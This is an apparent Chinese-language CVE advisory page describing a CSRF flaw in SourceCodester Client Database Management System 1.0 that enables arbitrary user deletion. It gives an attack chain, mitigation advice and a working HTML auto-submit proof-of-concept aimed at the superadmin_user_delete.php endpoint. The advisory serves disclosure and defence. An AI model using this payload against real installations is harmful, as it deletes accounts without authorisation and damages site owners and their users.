CVE-2025-63711 CVSS 7.1 高危

CVE-2025-63711 SourceCodester Client Database Management System CSRF漏洞导致任意用户删除

披露日期: 2025-11-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-63711

漏洞类型

CSRF（跨站请求伪造）

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

SourceCodester Client Database Management System 1.0

漏洞概述

CVE-2025-63711是SourceCodester Client Database Management System 1.0中的一个高危跨站请求伪造（CSRF）漏洞。该漏洞存在于系统的用户管理功能中，特别是superadmin_user_delete.php端点。攻击者可以利用此漏洞构造恶意网页，当已认证的管理员用户访问该页面时，会在不知情的情况下执行用户删除操作，导致任意用户账户被恶意移除。由于漏洞利用难度低且攻击隐蔽性强，对系统的完整性和可用性造成严重威胁。建议受影响的用户尽快采取防御措施或升级到修复版本。

技术细节

该CSRF漏洞的根本原因在于应用缺少关键的安全防护机制。首先，superadmin_user_delete.php端点仅依赖会话认证，但未实现请求来源验证（如Origin或Referer头检查），导致攻击者可以伪造来自任意域名的请求。其次，删除用户的POST请求未包含反CSRF令牌（CSRF Token），使得攻击者能够构造恶意表单并诱导已登录管理员自动提交。攻击者通常会创建一个包含隐藏表单的HTML页面，通过JavaScript的自动提交功能，在管理员不知情的情况下发送包含目标user_id的POST请求到删除端点。由于浏览器会自动携带目标网站的Cookie，服务器会误认为是合法的管理员操作，从而执行用户删除逻辑。

攻击链分析

STEP 1

攻击者识别目标系统为SourceCodester Client Database Management System 1.0，并发现superadmin_user_delete.php端点存在CSRF漏洞

STEP 2

攻击者构造恶意HTML页面，包含隐藏表单，表单action指向目标删除端点，method为POST，参数为目标user_id

STEP 3

攻击者通过钓鱼邮件、社交工程或恶意链接等方式诱导已认证的管理员用户访问该恶意页面

STEP 4

当管理员访问恶意页面时，JavaScript自动提交表单，浏览器自动携带目标网站的会话Cookie发送POST请求

STEP 5

目标服务器收到请求后，由于缺少CSRF令牌和Origin验证，误判为合法操作，执行用户删除逻辑

STEP 6

目标用户账户被成功删除，攻击完成。攻击者可重复此过程删除更多用户账户

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-63711 -->
<!-- Auto-submit form to delete user with ID 2 -->
<html>
  <body>
    <form id="csrfForm" action="http://target.com/superadmin_user_delete.php" method="POST">
      <input type="hidden" name="user_id" value="2" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Auto-submit when page loads
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

影响范围

SourceCodester Client Database Management System 1.0

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）临时禁用用户删除功能或限制为直接数据库操作；2）对管理员账户启用双因素认证以增加攻击难度；3）通过WAF规则临时拦截对superadmin_user_delete.php的异常POST请求；4）定期审计管理员操作日志，及时发现异常删除行为；5）提高管理员安全意识，避免点击可疑链接；6）考虑使用浏览器安全插件防护CSRF攻击。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表